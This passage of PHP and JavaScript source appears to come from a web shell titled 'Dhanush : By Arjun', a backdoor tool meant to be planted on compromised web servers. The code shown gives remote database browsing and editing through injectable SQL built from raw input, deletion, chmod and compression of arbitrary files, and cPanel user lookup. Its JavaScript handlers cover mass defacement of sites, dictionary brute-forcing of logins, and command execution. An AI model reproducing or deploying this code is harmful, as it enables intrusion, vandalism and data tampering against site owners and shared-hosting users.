		{
			global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
			$dbserver = $_COOKIE["dbserver"];
			$dbuser = $_COOKIE["dbuser"];
			$dbpass = $_COOKIE["dbpass"];
			$dbname = $_GET[\'dbname\'];
			$tablename = $_GET[\'tablename\'];
			echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables(\'viewdb\')\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables(\'listTables\',\'$dbname\',\'$tablename\')\"> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>";	
			?>
			<br><br>
			<form>
			<table>
				<tr>
					<td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
				</tr>
				<tr>
					<td><input type="button" onClick="viewtables(\'executequery\',\'<?php echo $_GET[\'dbname\'];?>\',\'<?php echo $_GET[\'tablename\']; ?>\',\'\',\'\',executemyquery.value)" value="Execute" class="but"></td>
				</tr>
			</table>
			</form>
			<?php 
			$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
			mysql_select_db($dbname);
			
			$sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = \'$dbname\')  AND (`TABLE_NAME` = \'$tablename\')  AND (`COLUMN_KEY` = \'PRI\');");
			$row = mysql_fetch_array($sql);
			$rowid = $row[\'COLUMN_NAME\'];
			
			echo "<br><font size=4>Data in Table</font><br>";
			if( $tablename != "" )
				echo "<font size=3 class=txt>$dbname &gt; $tablename</font><br>";
			else
				echo "<font size=3 class=txt>$dbname</font><br>";
			
			$queryStr = "";
			$pag = 0;
			$queryStr = stripslashes( $queryStr );
			if( $queryStr == "" ) 
			{
				if(isset($_REQUEST[\'page\']))
				{
					$res = mysql_query("select * from $tablename");
					$getres = mysql_num_rows($res);
					$coun = ceil($getres/30);
					if($_REQUEST[\'page\'] != 1)

						$pag = $_REQUEST[\'page\'] * 30;
					else
						$pag = $_REQUEST[\'page\'] * 30;
					
					$queryStr = "SELECT * FROM $tablename LIMIT $pag,30";
					$sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT $pag,30");
					$arrcount = 1;
					$arrdata[$arrcount] = 0;
					while($row = mysql_fetch_array($sql))
					{
						$arrdata[$arrcount] = $row[$rowid];
						$arrcount++;
					}
				}
				else
				{
					$queryStr = "SELECT * FROM $tablename LIMIT 0,30";
					$sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT 0,30");
					$arrcount = 1;
					$arrdata[$arrcount] = 0;
					while($row = mysql_fetch_array($sql))
					{
						$arrdata[$arrcount] = $row[$rowid];
						$arrcount++;
					}
				}
				if( $orderby != "" )
					$queryStr .= " ORDER BY $orderby";
				echo "<a href=# onClick=\"viewtables(\'viewSchema\',\'$dbname\',\'$tablename\')\"><font size=3>Schema</font></a>
";
			}
		

			$pResult = mysql_query($queryStr );
			$fieldt = mysql_fetch_field($pResult);
			$tablename = $fieldt->table;
			$errMsg = mysql_error();
		
			$GLOBALS[queryStr] = $queryStr;
		
			if( $pResult == false ) 
			{
				echoQueryResult();
				return;
			}
			if( $pResult == 1 ) 
			{
				$errMsg = "Success";
				echoQueryResult();
				return;
			}
		
			echo "<hr color=\'#1B1B1B\'>
";
		
			$row = mysql_num_rows( $pResult );
			$col = mysql_num_fields( $pResult );
		
			if( $row == 0 ) 
			{
				echo "<font  size=3>No Data Exist!</font>";
				return;
			}
		
			if( $rowperpage == "" ) $rowperpage = 30;
			if( $page == "" ) $page = 0;
			else $page--;
			mysql_data_seek( $pResult, $page * $rowperpage );
		
			echo "<table class=btmtbl cellspacing=1 cellpadding=5 border=1 align=center>
";
			echo "<tr>
";
			for( $i = 0; $i < $col; $i++ ) 
			{
				$field = mysql_fetch_field( $pResult, $i );
				echo "<th>";
				if($action == "viewdata")
					echo "<a href=\'$PHP_SELF?action=viewdata&dbname=$dbname&tablename=$tablename&orderby=".$field->name."\'>".$field->name."</a>
";
				else
					echo $field->name."
";
				echo "</th>
";
			}
			echo "<th colspan=2>Action</th>
";
			echo "</tr>
";
			$num=1;
			
			
			$acount = 1;
						
			for( $i = 0; $i < $rowperpage; $i++ ) 
			{
				$rowArray = mysql_fetch_row( $pResult );
				if( $rowArray == false ) break;
				echo "<tr>
";
				$key = "";
				for( $j = 0; $j < $col; $j++ )
				 {
					$data = $rowArray[$j];
		
					$field = mysql_fetch_field( $pResult, $j );
					if( $field->primary_key == 1 )
						$key .= "&" . $field->name . "=" . $data;
		
					if( strlen( $data ) > 30 )
						$data = substr( $data, 0, 30 ) . "...";
					$data = htmlspecialchars( $data );
					echo "<td>
";
					echo "<font class=txt>$data</font>
";
					echo "</td>
";
				}
			
				if(!is_numeric($arrdata[$acount]))
				echo "<td colspan=2>No Key</td>
";
				else 
				{
					echo "<td><a href=# onClick=\"viewtables(\'editData\',\'$dbname\',\'$tablename\',\'$rowid\',\'$arrdata[$acount]\')\">Edit</a></td>
";
					echo "<td><a href=# onClick=\"viewtables(\'deleteData\',\'$dbname\',\'$tablename\',\'$rowid\',\'$arrdata[$acount]\')\">Delete</a></td>
";
					$acount++;
				}
			}
			echo "</tr>
";
		
		
			echo "</table>";
			if($arrcount > 30)
			{
				$res = mysql_query("select * from $tablename");
				$getres = mysql_num_rows($res);
				$coun = ceil($getres/30);
				echo "<form action=$self><input type=hidden value=viewdata name=action><input type=hidden name=tablename value=$tablename><input type=hidden value=$dbname name=dbname><select style=\'width: 95px;\' name=page class=sbox>";
				for($i=0;$i<$coun;$i++)
					echo "<option value=$i>$i</option>";
				
				echo "</select> <input type=button onClick=\"viewtables(\'viewdata\',\'$dbname\',\'$tablename\',\'\',\'\',\'\',\'\',page.value)\" value=Go class=but></form>";
				echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables(\'viewdb\')\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables(\'listTables\',\'$dbname\',\'$tablename\')\"> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>";	
			}
		}
		
		// Delete Table Data
		if($_GET[\'action\'] == "deleteData")
		{
			$dbserver = $_COOKIE["dbserver"];
			$dbuser = $_COOKIE["dbuser"];
			$dbpass = $_COOKIE["dbpass"];
			$dbname = $_GET[\'dbname\'];
			$tablename = $_GET[\'tablename\'];
			$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
			mysql_select_db($dbname);
			$sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = \'$dbname\')  AND (`TABLE_NAME` = \'$tablename\')  AND (`COLUMN_KEY` = \'PRI\');");
			$row = mysql_fetch_array($sql);
			$row = $row[\'COLUMN_NAME\'];
			$rowid = $_GET[$row];
			mysql_query("delete from $tablename where $row = \'$rowid\'");
			listtable();
		}
		// Edit Table Data
		if($_GET[\'action\'] == "editData")
		{
			global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
			$dbserver = $_COOKIE["dbserver"];
			$dbuser = $_COOKIE["dbuser"];
			$dbpass = $_COOKIE["dbpass"];
			$dbname = $_GET[\'dbname\'];
			$tablename = $_GET[\'tablename\'];
			echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables(\'viewdb\')\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables(\'listTables\',\'$dbname\',\'$tablename\')\"> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>";	
			?>
			<br><br>
			<form action="<?php echo $self; ?>" method="post">
			<?php 
			$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
			mysql_select_db($dbname);
			
			$sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = \'$dbname\')  AND (`TABLE_NAME` = \'$tablename\')  AND (`COLUMN_KEY` = \'PRI\');");
			$row = mysql_fetch_array($sql);
			$row = $row[\'COLUMN_NAME\'];
			$rowid = $_GET[$row];
						
			$pResult = mysql_list_fields( $dbname, $tablename );
			$num = mysql_num_fields( $pResult );
	
			$key = "";
			for( $i = 0; $i < $num; $i++ ) 
			{
				$field = mysql_fetch_field( $pResult, $i );
				if( $field->primary_key == 1 )
					if( $field->numeric == 1 )
						$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
					else
						$key .= $field->name . "=\'" . $GLOBALS[$field->name] . "\' AND ";
			}
			$key = substr( $key, 0, strlen($key)-4 );
	
			mysql_select_db( $dbname, $mysqlHandle );
			$pResult = mysql_query( $queryStr =  "SELECT * FROM $tablename WHERE $row = $rowid", $mysqlHandle );
			$data = mysql_fetch_array( $pResult );
		
			echo "<table class=btmtbl cellspacing=1 cellpadding=2 border=1>
";
			echo "<tr>
";
			echo "<th>Name</th>
";
			echo "<th>Type</th>
";
			echo "<th>Function</th>
";
			echo "<th>Data</th>
";
			echo "</tr>
";
		
			$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
			$num = mysql_num_rows( $pResult );
		
			$pResultLen = mysql_list_fields( $dbname, $tablename );
			$fundata1 = "\'action\',\'editsubmitData\',\'dbname\',\'".$dbname."\',\'tablename\',\'".$tablename."\',";
			$fundata2 = "\'action\',\'insertdata\',\'dbname\',\'".$dbname."\',\'tablename\',\'".$tablename."\',";
			for( $i = 0; $i < $num; $i++ ) 
			{
				$field = mysql_fetch_array( $pResult );
				$fieldname = $field["Field"];
				$fieldtype = $field["Type"];
				$len = mysql_field_len( $pResultLen, $i );
		
				echo "<tr>";
				echo "<td>$fieldname</td>";
				echo "<td>".$field["Type"]."</td>";
				echo "<td>
";
				echo "<select name=${fieldname}_function class=sbox>
";
				echo "<option>
";
				echo "<option>ASCII
";
				echo "<option>CHAR
";
				echo "<option>SOUNDEX
";
				echo "<option>CURDATE
";
				echo "<option>CURTIME
";
				echo "<option>FROM_DAYS
";
				echo "<option>FROM_UNIXTIME
";
				echo "<option>NOW
";
				echo "<option>PASSWORD
";
				echo "<option>PERIOD_ADD
";
				echo "<option>PERIOD_DIFF
";
				echo "<option>TO_DAYS
";
				echo "<option>USER
";
				echo "<option>WEEKDAY
";
				echo "<option>RAND
";
				echo "</select>
";
				echo "</td>
";
				$value = htmlspecialchars($data[$i]);
				$type = strtok( $fieldtype, " (,)
" );
				if( $type == "enum" || $type == "set" ) 
				{
					echo "<td>
";
					if( $type == "enum" )
						echo "<select name=$fieldname class=box>
";
					else if( $type == "set" )
						echo "<select name=$fieldname size=4 class=box multiple>
";
					while( $str = strtok( "\'" ) ) 
					{
						if( $value == $str )
							echo "<option selected>$str
";
						else
							echo "<option>$str
";
						strtok( "\'" );
					}
					echo "</select>
";
					echo "</td>
";
					} 
					else 
					{
						if( $len < 40 )
							echo "<td><input type=text size=40 maxlength=$len id=dhanush_$fieldname name=sql_$fieldname value=\"$value\" class=box></td>
";
						else
							echo "<td><textarea cols=47 rows=3 maxlength=$len name=dhanush_$fieldname class=box>$value</textarea>
";
					}
					$fundata1 .= "\'dhanush_".$fieldname."\',dhanush_".$fieldname.".value,";
					$fundata2 .= "\'dhanush_".$fieldname."\',dhanush_".$fieldname.".value,";
				echo "</tr>";
			}
			$fundata1=eregi_replace(\',$\', \'\', $fundata1); 
			$fundata2=eregi_replace(\',$\', \'\', $fundata2);
			
			echo "</table><p>
";
			echo "<input type=button onClick=\"editdata($fundata1)\" value=\'Edit Data\' class=but>
";
			echo "<input type=button value=\'Insert\' onClick=\"editdata($fundata2)\" class=but>
";
			echo "</form>
";
		}
	}
// Edit Submit Table Data
else if($_REQUEST[\'action\'] == "editsubmitData")
{
	$dbserver = $_COOKIE["dbserver"];
	$dbuser = $_COOKIE["dbuser"];
	$dbpass = $_COOKIE["dbpass"];
	$dbname = $_POST[\'dbname\'];
	$tablename = $_POST[\'tablename\'];
	
	$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
	mysql_select_db($dbname);
	
	$sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = \'$dbname\')  AND (`TABLE_NAME` = \'$tablename\')  AND (`COLUMN_KEY` = \'PRI\');");
	$row = mysql_fetch_array($sql);
	$row = $row[\'COLUMN_NAME\'];
	$rowid = $_POST[$row];
		
	$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
	$num = mysql_num_rows( $pResult );
	
	$rowcount = $num;
				
	$pResultLen = mysql_list_fields( $dbname, $tablename );

	for( $i = 0; $i < $num; $i++ ) 
	{
		$field = mysql_fetch_array( $pResult );
		$fieldname = $field["Field"];
		$arrdata = $_REQUEST[$fieldname];
	
		$str .= " " . $fieldname . " = \'" . $arrdata . "\'";
		$rowcount--;
		if($rowcount != 0)
			$str .= ",";
	}
	
	$str = "update $tablename set" . $str . " where $row=$rowid";
	mysql_query($str);
	?><div id="showsql"></div><?php
}
// Insert Table Data
else if($_REQUEST[\'action\'] == "insertdata")
{
	$dbserver = $_COOKIE["dbserver"];
	$dbuser = $_COOKIE["dbuser"];
	$dbpass = $_COOKIE["dbpass"];
	$dbname = $_POST[\'dbname\'];
	$tablename = $_POST[\'tablename\'];
	
	$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
	mysql_select_db($dbname);
			
	$sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = \'$dbname\')  AND (`TABLE_NAME` = \'$tablename\')  AND (`COLUMN_KEY` = \'PRI\');");
	$row = mysql_fetch_array($sql);
	$row = $row[\'COLUMN_NAME\'];
	$rowid = $_POST[$row];
	
	$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
	$num = mysql_num_rows( $pResult );
	
	$rowcount = $num;
				
	$pResultLen = mysql_list_fields( $dbname, $tablename );

	for( $i = 0; $i < $num; $i++ ) 
	{
		$field = mysql_fetch_array( $pResult );
		$fieldname = $field["Field"];
		$arrdata = $_REQUEST[$fieldname];
	
		$str1 .= "".$fieldname . ",";
		$str2 .= "\'".$arrdata . "\',";
		$rowcount--;
		if($rowcount != 0)
		{
			//$str1 .= $fieldname . ",";
			//$str2 .= $arrdata . ",";
		}
	}
	$str1=eregi_replace(\',$\', \'\', $str1); 
	$str2=eregi_replace(\',$\', \'\', $str2); 
	$str = "INSERT INTO `$tablename` ($str1) VALUES ($str2);";
	mysql_query($str);
	
	?><div id="showsql"></div><?php
}
else if(isset($_GET[\'logoutdb\']))
{
	setcookie("dbserver",time() - 60*60);
	setcookie("dbuser",time() - 60*60);
	setcookie("dbpass",time() - 60*60);
	header("Location:$self");
}
else if(isset($_POST[\'choice\']))
{  
	if($_POST[\'choice\'] == "delete") 
	{
		$actbox = $_POST["actbox"];
		echo \'<br><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;"  />\';
		
		foreach ($actbox as $myv) 
		$myv = explode(",",$myv);
		foreach ($myv as $v) 
		{			
			if(is_file($v))
			{
				if(unlink($v))
					echo "<br><center><font class=txt>File $v Deleted Successfully</font></center>";
				else
					echo "<br><center>Cannot Delete File $v</center>";
			}	
			else if(is_dir($v))
			{
				rrmdir($v);
			}
		}
		echo \'<br>\';
	}
	else if($_POST[\'choice\'] == "chmod")
	{ ?>
		<BR><form id="chform"><?php 
		$actbox1 = $_POST[\'actbox\'];
		foreach ($actbox1 as $myv) 
		$myv = explode(",",$myv);
		foreach ($myv as $v) 
		{ ?>
			<input type="hidden" name="actbox3[]" id="actbox3[]" value="<?php echo $v; ?>">
		<?php }
		?>
			<table align="center" border="3" style="width:40%; border-color:#333333;">
				<tr>
					<td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td> 
				</tr>
				<tr>
					<td colspan="2" align="center" style="height:60px">
						<input type="button" onClick="myaction(\'changefileperms\',chmode.value)" value="Change Permission" class="but" style="padding: 5px;" />
						<input type="button" onClick="cancel()" value="cancel" class="but" style="padding: 5px;"  /></form></center>
					</td>
				</tr>
			</table>
			
		</form>  <?php
	}
	else if($_POST[\'choice\'] == "changefileperms")
	{
		echo \'<br><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;"  />\';
		if($_POST[\'chmode\'] != null && is_numeric($_POST[\'chmode\']))
		{
			$actbox = $_POST["actbox"];
			foreach ($actbox as $myv) 
			$myv = explode(",",$myv);
			foreach ($myv as $v) 
			{
				if(is_file($v) || is_dir($v))
				{
					$perms = 0; 
					for($i=strlen($_POST[\'chmode\'])-1;$i>=0;--$i) 
						$perms += (int)$_POST[\'chmode\'][$i]*pow(8, (strlen($_POST[\'chmode\'])-$i-1)); 
					echo "<div align=left style=width:80%;>";
					if(@chmod($v,$perms))
						echo "<font class=txt>File $v Permissions Changed Successfully</font><br>";
					else
						echo "Cannot Change $v File Permissions<br>";
					echo "</div>";
				}
			}
				
		}
	}
	else if($_POST[\'choice\'] == "compre") 
	{
		echo \'<br><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;"  />\';
		$actbox = $_POST["actbox"];
		foreach ($actbox as $myv) 
			$myv = explode(",",$myv);
		foreach ($myv as $v) 
		{
			if(is_file($v))
			{
				$zip = new ZipArchive();
				$filename= basename($v) . \'.zip\';
				if(($zip->open($filename, ZipArchive::CREATE))!==true)
				{ echo \'<br><font  size=3>Error: Unable to create zip file for $v</font>\';}
				else {echo "<br><font class=txt size=3>File $v Compressed successfully</font>";}
				$zip->addFile(basename($v));
				$zip->close();
			}
			else if(is_dir($v))
			{
				if($os == "Linux")
				{
					$filename= basename($v);
					execmd("tar --create --recursion --file=$filename.tar $v");
					echo "<br><font class=txt size=3>File $v Compressed successfully as $v.tar</font>";
				}
				else
					echo "<BR>Cannot compress directory<BR><BR>";
			}
		}
		echo \'<BR><BR>\';
	}
	else if($_POST[\'choice\'] == "uncompre") 
	{
		echo \'<br><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;"  />\';
		$actbox = $_POST["actbox"];
		foreach ($actbox as $myv) 
		$myv = explode(",",$myv);
		foreach ($myv as $v) 
		{
			 if(is_file($v) || is_dir($v))
			 {
			 $zip = new ZipArchive;
			 $filename= basename($v);
			 $res = $zip->open($filename);
			 if ($res === TRUE) 
			 {
			 	 $pieces = explode(".",$filename);
				 $zip->extractTo($pieces[0]);
				 $zip->close();
				 echo \'<BR><font class=txt size=3>File \'.$v.\' Unzipped successfully</font>\';
			 } else
				 echo "<br><font  size=3>Error: Unable to Unzip file $v</font>";
			 }
		}
		echo \'<BR><BR>\';
	}
}
else if(isset($_GET[\'sitename\']))
{
	$sitename = str_replace("http://","",$_GET[\'sitename\']);
	$sitename = str_replace("http://www.","",$sitename);
	$sitename = str_replace("www.","",$sitename);
	$show = myexe("ls -la /etc/valiases/".$sitename);
	if(!empty($show))
		echo $show;
	else
		echo "Cannot get the username";
}
else if(isset($_GET[\'mydata\']))
{
	listdatabase();
}
else if(isset($_GET[\'home\']))
{
	mainfun($_GET[\'home\']);
}
else if(isset($_GET[\'dir\']))
{
	mainfun($_GET[\'myfilepath\']);
}
else if(isset($_GET[\'mydirpath\']))
{
	echo is_writable($_GET[\'mydirpath\'])?"<font class=txt>&lt; writable &gt;</font>":"&lt; not writable &gt;";
}
else
{
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> 
<title>Dhanush : By Arjun</title>
<script type="text/javascript">
checked = false;
var waitstate = "<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
function checkedAll () 
{
    if (checked == false){checked = true}else{checked = false}
	for (var i = 0; i < document.getElementById(\'myform\').elements.length; i++) 
	{
	  document.getElementById(\'myform\').elements[i].checked = checked;
	}
}
function change_style(mystyle)
{
	window.location.href = \'<?php echo $self; ?>?style=\'+mystyle;
}
function createsubdomain(cpaneluser,cpanelpass,noofsubdomain,subindex)
{
	var params = "cpaneluser="+cpaneluser+"&cpanelpass="+cpanelpass+"&noofsubdomain="+noofsubdomain+"&subindex="+subindex;
	document.getElementById("showmydata").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 3)
		{
			document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
		}
	}
	
	ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
	ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
	ajaxRequest.send(params);
}
function massdeface(script,masswpdef,wpsym)
{
	var params = "massscript="+script+"&massdef="+masswpdef+"&wpsym="+wpsym;
	document.getElementById("showdef").innerHTML="<center><marquee scrollamount=4 width=150>It may take long time. Wait....</marquee></center>";
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 3)
		{
			document.getElementById("showdef").innerHTML=ajaxRequest.responseText;
		}
	}
	
	ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
	ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
	ajaxRequest.send(params);
}
function urlchange(myfilepath)
{
	var mypath, mpath, i, t, j, r = "",myurl = "",splitter="";
	splitter = "<?php echo addslashes($directorysperator); ?>";
	mypath = mpath = myfilepath.split(splitter);
	<?php if($os == "Linux") { ?>
			r = "/";
			myurl = "<a href=javascript:void(0) onClick=\"changedir(\'dir\',\'/\')\">/</a>";
	<?php } ?>
	for (i = 0; i < mypath.length; i++) 
	{
		if(mypath[i] == "")
			continue;
   		r += mypath[i]+"<?php echo addslashes($directorysperator); ?>";
		
		myurl += "<a href=javascript:void(0) onClick=\"changedir(\'dir\',\'"+r+"\')\"><b>"+mypath[i]+"<?php echo addslashes($directorysperator); ?></b></a>";
	}
	myurl = myurl.replace(/\/g,"\\");
	return myurl;
}
function wrtblDIR(mydirpath)
{
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			for(i=0;i<=3;i++)
				document.getElementsByName("wrtble")[i].innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?mydirpath="+mydirpath, true);
	ajaxRequest.send(null); 
}
function setpath(myfilpath)
{
	wrtblDIR(myfilpath);
	document.getElementById("path").value=myfilpath;
	document.getElementById("createfile").value=myfilpath;
	document.getElementById("readfile").value=myfilpath;
	document.getElementById("readdir").value=myfilpath;
	document.getElementById("createfolder").value=myfilpath;
	document.getElementById("createfolder").value=myfilpath;
	document.getElementById("exepath").value=myfilpath;
	document.getElementById("auexepath").value=myfilpath;
	document.getElementById("showdir").innerHTML="";
}
function changedir(myaction,myfilepath)
{
	var myurl = urlchange(myfilepath);
	
	document.getElementById("showmaindata").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			setpath(myfilepath);
			document.getElementById("crdir").innerHTML=myurl;
			document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
	ajaxRequest.send(null); 
}
function gethome(myaction,mydir)
{
	var myurl = urlchange(mydir);
	document.getElementById("showmaindata").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
			setpath(mydir);
			document.getElementById("crdir").innerHTML=myurl;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+mydir, true);
	ajaxRequest.send(null); 
}
function getname(sitename)
{
	document.getElementById("showsite").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
				document.getElementById("showsite").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?sitename="+sitename, true);
	ajaxRequest.send(null); 
}
function myaction(myfileaction,chmode)
{
	var mytype = document.getElementsByName(\'actbox[]\');
	var mychoice = new Array();
	
	for (var i = 0, length = mytype.length; i < length; i++)
	{
		if (mytype[i].checked)
			mychoice[i] = mytype[i].value;
	}
	
	var params = "choice="+myfileaction+"&chmode="+chmode+"&actbox[]="+mychoice;

	document.getElementById("showmydata").className = "fixedbox";
	document.getElementById("showmydata").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
		}
	}
	
	ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
	ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
	ajaxRequest.send(params);
}
function editdata()
{
	var result = "", // initialize list
       i,dbname,tablename;
   // iterate through arguments
   for (i = 1; i < arguments.length; i++)
   {
   	  if(i%2 == 0)
      	result += arguments[i]+\'=\';
	  else
	  	result += arguments[i]+\'&\';
   }
   result = result.slice(0, -1);
	
	dbname = arguments[3];
	tablename = arguments[5];
	var result=result.replace(/dhanush_/g,""); 
	var params = arguments[0]+"="+result;

	document.getElementById("showsql").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			viewtables(\'listTables\',dbname,tablename);
		}
	}
	
	ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
	ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
	ajaxRequest.send(params);
}
function viewtables(action,dbname,tablename,rowid,arrdata,executequery,fieldname,page)
{
	document.getElementById("showsql").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
				document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?action="+action+"&dbname="+dbname+"&tablename="+tablename+"&"+rowid+"="+arrdata+"&executemyquery="+executequery+"&fieldname="+fieldname+"&page="+page, true);
	ajaxRequest.send(null); 
}
function mydatabase(server,username,password)
{
	document.getElementById("showsql").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			mydatago();
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executeit&server="+server+"&username="+username+"&password="+password, true);
	ajaxRequest.send(null); 
}
function mydatago()
{
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("datatable").style.display = \'none\';
			document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?mydata", true);
	ajaxRequest.send(null); 
}
function bruteforce(prototype,serverport,login,dict)
{
	var mytype = document.getElementsByName(\'mytype\');
	for (var i = 0, length = mytype.length; i < length; i++)
	{
		if (mytype[i].checked)
			break;
	}
	var getreverse = 0;
	if(document.getElementById(\'reverse\').checked == true)
		getreverse = 1;
	else
		getreverse = 0;
	
	document.getElementById("showbrute").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showbrute").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?prototype="+prototype+"&serverport="+serverport+"&login="+login+"&dict="+dict+"&type="+mytype[i].value+"&reverse="+getreverse, true);
	ajaxRequest.send(null); 
}
function executemyfile(action,executepath,execute)
{
	document.getElementById("showmydata").className = "fixedbox";
	document.getElementById("showmydata").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+action+"&executepath="+executepath+"&execute="+execute, true);
	ajaxRequest.send(null); 
}
function maindata(myaction,dir)
{
	document.getElementById("showmaindata").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
			document.getElementById("showdir").innerHTML="";
		}
	}
		
